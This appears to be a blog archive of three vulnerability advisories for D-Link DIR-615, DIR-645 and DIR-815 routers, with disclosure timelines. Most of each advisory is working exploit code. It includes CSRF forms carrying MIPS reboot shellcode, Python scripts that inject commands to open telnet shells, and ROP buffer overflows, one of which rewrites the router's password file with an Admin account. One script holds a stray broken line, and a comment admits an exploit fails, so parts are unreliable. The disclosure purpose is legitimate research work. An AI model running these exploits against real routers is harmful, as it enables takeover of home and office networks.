## Advisory Information Title: Dlink DIR-615 Authenticated Buffer overflow in Ping and Send email functionality Vendors contacted: William Brown <william.brown@dlink.com>, Patrick Cline patrick.cline@dlink.com(Dlink) CVE: None Note: All these security issues have been discussed with the vendor and vendor indicated that they have fixed issues as per the email communication. The vendor had also released the information on their security advisory pages http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10060, http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10061 However, the vendor has taken now the security advisory pages down and hence the information needs to be publicly accessible so that users using these devices can update the router firmwares. The author (Samuel Huntley) releasing this finding is not responsible for anyone using this information for malicious purposes. ## Product Description DIR-615 -- Wireless N300 router from Dlink. Mainly used by home and small offices. ## Vulnerabilities Summary I have come across 2 security issues in DIR-615 firmware which allows an attacker using XSRF attack to exploit buffer overflow vulnerabilities in ping and send email functionality. ## Details # Ping buffer oberflow ------------------------------------------------------------------- <!-- reboot shellcode Big Endian MIPS--> <html> <body> <form id="form5" name="form5" enctype="text/plain" method="post" action="http://192.168.100.14/ping_response.cgi"> <input type="text" id="html_response_page" name="html_response_page" value="tools_vct.asp&html_response_return_page=tools_vct.asp&action=ping_test&ping_ipaddr=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%2A%BF%99%F4%2A%C1%1C%30AAAA%2A%BF%8F%04CCCC%2A%BC%9B%9CEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE%2A%BC%BD%90FFFFFFFFFFFFFFFF%3c%06%43%21%34%c6%fe%dc%3c%05%28%12%34%a5%19%69%3c%04%fe%e1%34%84%de%ad%24%02%0f%f8%01%01%01%0c&ping=ping"></td> <input type=submit value="submit"> </form> </body> </html> -------------------------------------------------------------------- # Send email buffer overflow -------------------------------------------------------------------- <!-- reboot shellcode Big Endian MIPS--> <html> <body> <form id="form5" name="form5" enctype="text/plain" method="post" action="http://192.168.100.14/send_log_email.cgi"> <input type="text" id="auth_active" name="auth_active" value="testy)%3b&log_email_from=test@test.com&auth_acname=sweetBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBIIII%2A%BF%99%F4%2A%C1%1C%30FFFF%2A%BF%8F%04DDDDCCCCBBBB%2A%BC%9B%9CCCC&auth_passwd=test1)&log_email_server=mail.google.com%3breboat%3b%23%23testAAAAAAAAAAAAAAAAAAtestAAAAAAAAAAAAAAAAAAtestAAAAAAAAAAAAAAAAAAtestAAAAAAAAAAAAAAAAAAtestAAAAAAAAAAAAAAAAAAtestAAAAAAAAAAAAAAAAAAtestAAAAAAAAAAAAAAAAAAtestAAAAAAAAAAAAAAAAAAtestAAAAAAAAAAAAAAAAAA&log_email_port=25&log_email_sender=ses@gmail.com%3brebolt%3b%23%23teYYYY%2A%BC%BD%90AAAAAAAAAAAAtest%3c%06%43%21%34%c6%fe%dc%3c%05%28%12%34%a5%19%69%3c%04%fe%e1%34%84%de%ad%24%02%0f%f8%01%01%01%0cAAAAAAAAtestAAAAAAAAAAAAAAAAAAtestAAAAAAAAAAAAAAAAAAtestAAAAAAAAAAAAAAAAAAtestAAAAAAAAAAAAAAAAAAtestAAAAAAAAAAAAAAAAAAtestAAAAAAAAAAAAAAAAAAtestAAAAAAAAAAAAAAAAAAtestAAAAAAAAAAAAAAAAAAtestAAAAAAAAAAAAAAAAAA&model_name=test&action=send_log_email&test=test"></td> <input type=submit value="submit"> </form> </body> </html> -------------------------------------------------------------------- ## Report Timeline * April 26, 2015: Vulnerability found by Samuel Huntley and reported to William Brown and Patrick Cline. * July 17, 2015: Vulnerability was fixed by Dlink as per the email sent by the vendor * Nov 13, 2015: A public advisory is sent to security mailing lists. ## Credit This vulnerability was found by Samuel Huntley
Category Archives: Dlink
D-Link DIR-645 – Multiple UPNP Vulnerabilities
## Advisory Information
Title: Dlink DIR-645 UPNP Buffer Overflow
Vendors contacted: William Brown <william.brown@dlink.com> (Dlink)
Release mode: Released
CVE: CVE-2015-2052, CVE-2015-2051
Note: All these security issues have been discussed with the vendor and vendor indicated that they have fixed issues as per the email communication. The vendor had also released the information on their security advisory pages http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10060,
http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10061
However, the vendor has taken now the security advisory pages down and hence the information needs to be publicly accessible so that users using these devices can update the router firmwares. The author (Samuel Huntley) releasing this finding is not responsible for anyone using this information for malicious purposes.
## Product Description
DIR-645 -- Whole Home Router 1000 from Dlink. Mainly used by home and small offices.
## Vulnerabilities Summary
I have come across 2 security issues in DIR-645 firmware which allows an attacker on wireless LAN and possibly WAN network to execute command injection and buffer overflow attack against the wireless router. I have provided exploit scripts written in python that give details of the exploits. The buffer overflow does not have a payload at this time, however if you watch the exploit in a debugger, then it can be clearly seen that the payload uses ROP techniques to get to stack payload which is a bunch of C's for now on the stack. It can be replaced with any payload that works on MIPS little endian architecture.
## Details
# Command injection
-----------------------------------------------------------------
import socket
import struct
buf = "POST /HNAP1/ HTTP/1.0\r\nHOST: 192.168.1.8\r\nUser-Agent: test\r\nContent-Length: 1\r\nSOAPAction:http://purenetworks.com/HNAP1/GetDeviceSettings/XX" + 'test;telnetd -p 9656;test\r\n' + "1\r\n\r\n"
print "[+] sending buffer size", len(buf)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("10.0.0.90", 80))
s.send(buf)
-------------------------------------------------------------------
# Buffer overflow
--------------------------------------------------------------------
import socket
import struct
exploit_buffer = "POST /HNAP1/ HTTP/1.0\r\nHOST: 10.0.0.1\r\nUser-Agent: test\r\nContent-Length: 1\r\nSOAPAction:http://purenetworks.com/HNAP1/GetDeviceSettings/XX" + ";pt;"+"B"*158
exploit_buffer+="C"*50+"Z"*46
exploit_buffer+="\xb4\x67\xb3\x2a"
exploit_buffer+="\xd0\xeb\xb4\x2a"
exploit_buffer+="VVVV"
a
exploit_buffer+="\x7c\xba\xb1\x2a"
exploit_buffer+="K"*16
exploit_buffer+="\x44\x3b\xb0\x2A"
exploit_buffer+="A"*36
exploit_buffer+="\xf0\x5e\xb0\x2A"
exploit_buffer+="H"*16
exploit_buffer+="C"*212+"\r\n" + "1\r\n\r\n"
print "[+] sending exploit_bufferfer size", len(exploit_buffer)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("10.0.0.1", 80))
s.send(exploit_buffer)
-------------------------------------------------------------------
## Report Timeline
* Jan 22, 2015: Vulnerability found by Samuel Huntley by William Brown.
* Feb 15, 2015: Vulnerability is patched by Dlink
* Nov 13, 2015: A public advisory is sent to security mailing lists.
## Credit
This vulnerability was found by Samuel Huntley
D-Link DIR-815 – Multiple Vulnerabilities
## Advisory Information
Title: DIR-815 Buffer overflows and Command injection in authentication and HNAP functionalities
Vendors contacted: William Brown <william.brown@dlink.com>, Patrick Cline patrick.cline@dlink.com(Dlink)
CVE: None
Note: All these security issues have been discussed with the vendor and vendor indicated that they have fixed issues as per the email communication. The vendor had also released the information on their security advisory pages http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10060,
http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10061
However, the vendor has taken now the security advisory pages down and hence the information needs to be publicly accessible so that users using these devices can update the router firmwares. The author (Samuel Huntley) releasing this finding is not responsible for anyone using this information for malicious purposes.
## Product Description
DIR-815 -- Wireless N300 Dual Band Router. Mainly used by home and small offices.
## Vulnerabilities Summary
Have come across 3 security issues in DIR-815 firmware which allows an attacker to exploit command injection and buffer overflows in authentication adn HNAP functionality. All of them can be exploited by an unauthentictaed attacker. The attacker can be on wireless LAN or WAN if mgmt interface is exposed to attack directly or using XSRF if not exposed.
## Details
Buffer overflow in auth
---------------------------------------------------------------------
import urllib
import urllib2
# This exploits the auth_main.cgi with read buffer overflow exploit for v2.02
# prequisite is just to have id and password fields in params
url = 'http://192.168.0.1/authentication.cgi'
junk = "A"*1004+"B"*37+"\x58\xf8\x40\x00" # address of system function in executable
junk+="X"*164+'echo "Admin" "Admin" "0" > /var/passwd\x00'+"AAAA"
values = "id=test&password=test&test="+junk
req = urllib2.Request(url, values)
response = urllib2.urlopen(req)
the_page = response.read()
--------------------------------------------------------------------
Buffer overflow in HNAP
---------------------------------------------------------------------
import socket
import struct
# format junk+ROP1(have right value in A0) + ROP2(add or subtract to create right system address) + ROP3(Jump to right address)
buf = "POST /HNAP1/ HTTP/1.0\r\nHOST: 192.168.1.8\r\nUser-Agent: test\r\nContent-Length: 1\r\nSOAPAction:http://purenetworks.com/HNAP1/GetDeviceSettings/XX" + ";sh;"+"H"*286
buf+= "\x40\xF4\xB1\x2A" # (ROP gadget which puts right value in A0)
buf+= "B"*20+"ZZZZ"+"telnetd -p 6778"+"C"*5 # adjustment to get to the right payload
buf+="\xA0\xb2\xb4\x2a" # The system address is 2Ab4b200 so changing that in GDB just before jumping to test if it works which it does not
buf+= "\r\n" + "1\r\n\r\n"
print "[+] sending buffer size", len(buf)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("1.2.3.4", 80))
s.send(buf)
--------------------------------------------------------------------
Command injection in
--------------------------------------------------------------------
import socket
import struct
# CSRF or any other trickery, but probably only works when connected to network I suppose
buf = "POST /HNAP1/ HTTP/1.0\r\nHOST: 99.249.143.124\r\nUser-Agent: test\r\nContent-Length: 1\r\nSOAPAction:http://purenetworks.com/HNAP1/GetDeviceSettings/XX" + ';telnetd -p 9090;\r\n' + "1\r\n\r\n"
print "[+] sending buffer size", len(buf)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.0.1", 80))
s.send(buf)
--------------------------------------------------------------------
## Report Timeline
* April 26, 2015: Vulnerability found by Samuel Huntley and reported to William Brown and Patrick Cline.
* July 17, 2015: Vulnerability was fixed by Dlink as per the email sent by the vendor
* Nov 13, 2015: A public advisory is sent to security mailing lists.
## Credit
This vulnerability was found by Samuel Huntley